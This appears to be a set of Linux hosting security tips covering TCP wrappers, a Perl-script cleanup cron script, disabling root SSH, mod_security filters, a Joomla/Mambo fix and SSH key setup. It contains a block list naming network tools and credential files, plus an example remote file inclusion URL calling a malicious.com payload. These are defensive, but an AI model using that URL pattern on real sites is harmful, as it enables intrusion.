Generally firewall is used to protect a server from other servers & networks. But many times protecting a server within a network, by using a TCP wrapper, is also needed.

Most of the Linux distributions comes with xinetd server. This xinetd server includes a built in TCP wrapper. It can be used to define network services to accept incoming connections from specified servers and networks. The TCP wrappers uses two files, /etc/hosts.allow and /etc/hosts.deny through which it implements access control.

# Deny everything by default, add the following line to /etc/hosts.deny:

ALL: ALL

# Accept incoming SSH connections from e.g. nodes bamdns1, bamdns2 and bamdns3, add the following line to /etc/hosts.allow:

sshd: bamdns1 bamdns2 bamdns3

# Accept incoming SSH connections from all servers from a specific network, add the name of the subnet to /etc/hosts.allow

sshd: bamdns1 bamdns2 bamdns3 .subnet.server1.com

# Accept connections from all servers on subnet .subnet.server1.com but not from server bamdns4.subnet.server1.com, you could add the following line to /etc/hosts.allow:

ALL: .subnet.server1.com EXCEPT bamdns4.subnet.server1.com

# Accept incoming portmap connections from IP address 10.10.10.1 and subnet 255.255.5, add the following line to /etc/hosts.allow:

portmap: 10.10.10.1 255.255.5.

Following script can help you to catch malicious perl scipts uploaded to /tmp.

#!/bin/bash
#eUkhost.com
#Script designed for eUkhost.com. Its GNU,FREE,DISTRIBUTABLE,

ROOTBADSCRIPTS=/root/badperlscripts
EMAILLOG=/root/emailperlscriptlog
LOAD=`cat /proc/loadavg | awk ‘{print $1, $2, $3}’`
HOST=`hostname`
TIME=`date`
ADMINEMAILS=”,admin@admin.com”
if [ ! -e $ROOTBADSCRIPTS ]; then
mkdir $ROOTBADSCRIPTS
chmod 700 $ROOTBADSCRIPTS
fi
rm -f $EMAILLOG
touch $EMAILLOG
for FILES in /tmp/*
do
if [ ! -d $FILES ]; then
if [ -w $FILES ]; then
#grep perl $FILES > /dev/null 2>&1
head -1 $FILES | grep perl > /dev/null 2>&1
if [ $? -eq 0 ];
then
echo “$TIME $HOST $FILES — perl script found Load : $LOAD ” >> $EMAILLOG
mv -f $FILES $ROOTBADSCRIPTS
killall -9 perl > /dev/null 2>&1
killall -9 perl > /dev/null 2>&1
killall -9 perl > /dev/null 2>&1
#//chown root.root $FILES
#//chmod 000 $FILES
#//chattr +i $FILES
fi
fi
fi
done
for FILES in /dev/shm/*
do
if [ ! -d $FILES ]; then
if [ -w $FILES ]; then
#grep perl $FILES > /dev/null 2>&1
head -1 $FILES | grep perl > /dev/null 2>&1
if [ $? -eq 0 ];
then
echo “$HOST $FILES — perl script found Load : $LOAD ” >> $EMAILLOG
mv -f $FILES $ROOTBADSCRIPTS
killall -9 perl > /dev/null 2>&1
killall -9 perl > /dev/null 2>&1
killall -9 perl > /dev/null 2>&1
#//chown root.root $FILES
#//chmod 000 $FILES
#//chattr +i $FILES
fi
fi
fi
done
if [ -s $EMAILLOG ]; then
cat $EMAILLOG | mail -s “Perl Script report on $HOST” $ADMINEMAILS
fi
exit

While implementing security tweaks on the server, one of the most important tweak we should perform is to disable direct root login which will force the hacker to have to guess 2 seperate passwords to gain root access.

Following steps will show you how to disable direct root login. If you are using cPanel server make sure you add your admin user to the ‘wheel’ group so that you will be able to ‘su -‘ to root, otherwise you may lock yourself out of root.

1. SSH into your server as ‘admin’ and gain root access by su

2. Copy and paste this line to edit the file for SSH logins
vi /etc/ssh/sshd_config

3. Find the line
Protocol 2, 1

4. Uncomment it and change it to look like
Protocol 2

5. Next, find the line
PermitRootLogin yes

6. Uncomment it and make it look like PermitRootLogin no

7. Save the file

8. Now you can restart SSH
/etc/rc.d/init.d/sshd restart

Now, no one will be able to login to root with out first loggin in as admin and ‘su -‘ to root, and you will be forcing the use of a more secure protocol. Just make sure you remember both passwords!

mod_security is one of the important security tweak we perform on a server when try to secure our server. mod_security integrates with Apache to stop attackers from being able to issue commands to the server through vulnerable scripts and software packages which are installed on the server. By default, mod_security blocks from being called from within a URL.

* wget
* lynx
* curl
* tar
* uname
* g
* gcc
* nmap
* .bash_history
* /etc/passwd
* /bin/ps
* /usr/bin/id
* /bin/kill
* /usr/bin/gcc
* /bin/mail
* /bin/ping
* /bin/ls
* lsof
* perl
* 0a.pl
* “img xsrc=javascript”
* /~nobody
* /~root
* /~ftp
* formmail.cgi
* formmail.pl
* formmail.php
* /modules/My_eGallery
* telnet.pl
* telnet.cgi
* shell.pl
* shell.cgi
* shell.php

Again, this list does not mean you cannot use features like “tar” in your programs. You just can’t include “tar” in the URL bar.

To modify your mod_security configuration file, you would want to:

1. Login to your server as root.
2. Open the file /usr/local/apache/conf/mod_security.conf

pico -w /usr/local/apache/conf/mod_security.conf

3. Search for any directive you might want to remove (such as “tar”) and
put a “#” at the start of the line. This will “comment” that directive out
where the server will essentially ignore it. If you wish to add a directive,
just scroll to the bottom of the file and use:

SecFilter “phrasetoblock”
4. Save your changes and restart Apache.

service httpd restart

Currently, there is a high vulnerability risk for addon components to Mambo and Joomla due to our servers having register_globals set to ON in the global php.ini This is being exploited to run the following type of url string to upload malicious files onto an account:

GET
/components/com_component/componentfile.php?mosConfig_absolute_path=
http://malicious.com/maliciousfile.txt

Where component is the component such as com_smf or com_extcalendar and componentfile.php is the file like smf.php or extcalendar.php (these are just examples, many Mambo Hosting and Joomla Hosting addon components have this security hole), and where malicious.com is any site where the hacker has his crummy file andmaliciousfile.txt is that file.

The manner to fix this issue is the following:

1. Create a php.ini on the account at /home/user/public_html (user here indicated your cPanel username). You can reach this location if you log into cPanel, click on File Manager, then click on the folder icon next to public_html folder. Inside public_html, simply click “Create File” link, then in the upper right, name the file php.ini, simply add the 2 lines in Step #2 to that file.

2. In the php.ini file put:

register_globals = Off
allow_url_fopen = Off

3. In public_html folder, open .htaccess file by clicking on the file’s name in File Manager and selecting “Edit File” in the upper right hand corner list of links, then add this (change user to your cPanel username in the /home/user/public_html path):

suPHP_ConfigPath /home/user/public_html

order allow,deny
deny from all

Hello,

Just follow the below step and you will be done with that.

1. First create a set of public and private keys that uniquely identify your userid on “Primary_server”. Log into Primary_server and run the command:

Primary_server% ssh-keygen -t rsa -N ” (This command can take a long time to run on some machines).

The -N ” argument to ssh-keygen specifies that there should be no password associated with these keys. Keys can have passwords just like accounts, but that would defeat the purpose here.

When it asks you what file you would like to save your key as, you can just press return, to accept the default location. This will create two files on Primary_server:

Primary_server% ls -l /home/Jayesh/.ssh/id*
-rw——- 1 Jayesh Jayesh 530 Feb 8 18:13 /home/Jayesh/.ssh/id_rsa
-rw-rw-r– 1 Jayesh Jayesh 334 Feb 8 18:13 /home/Jayesh/.ssh/id_rsa.pub

The id_rsa file contains the private key (note that it is not world or group readable) that represents your identity on that particular machine. The private key should never be transferred from the machine or have its modes changed. The id_rsa.pub file is the public key, which is world-readable. ssh and other programs can use this key to encrypt messages that only you can decrypt using the private key.

2. The next step is give Primary_server’s public key to Second_server, and tell Second_server that Primary_server is authorized to run remote commands using RSA authentication. You do this by copying the contents of Primary_server’s id_rsa.pub (not id_rsa!) to a file called authorized_keys in your .ssh directory on Second_server:

Second_server% cd ~/.ssh
Second_server% ssh Primary_server ‘cat .ssh/id_rsa.pub’ >> authorized_keys

Primary_server’s public key is now in the authorized_keys file on Second_server, telling Second_server that Primary_server is authorized to use RSA authentication to log in.

By the way, it’s fine to have more than one key in the authorized_keys file, in case you need more than one host to be able to do RSA authentication to beta.

3. The last step is to make sure the authorized_keys file on Second_server has modes 600. This ensures that no one else can view this file.

Second_server% chmod 600 authorized_keys
Second_server% ls -l authorized_keys
-rw——- 1 Micheal Micheal 662 Feb 8 18:04 .ssh/authorized_keys

You can now ssh from alpha to beta without using a password.

Enjoy..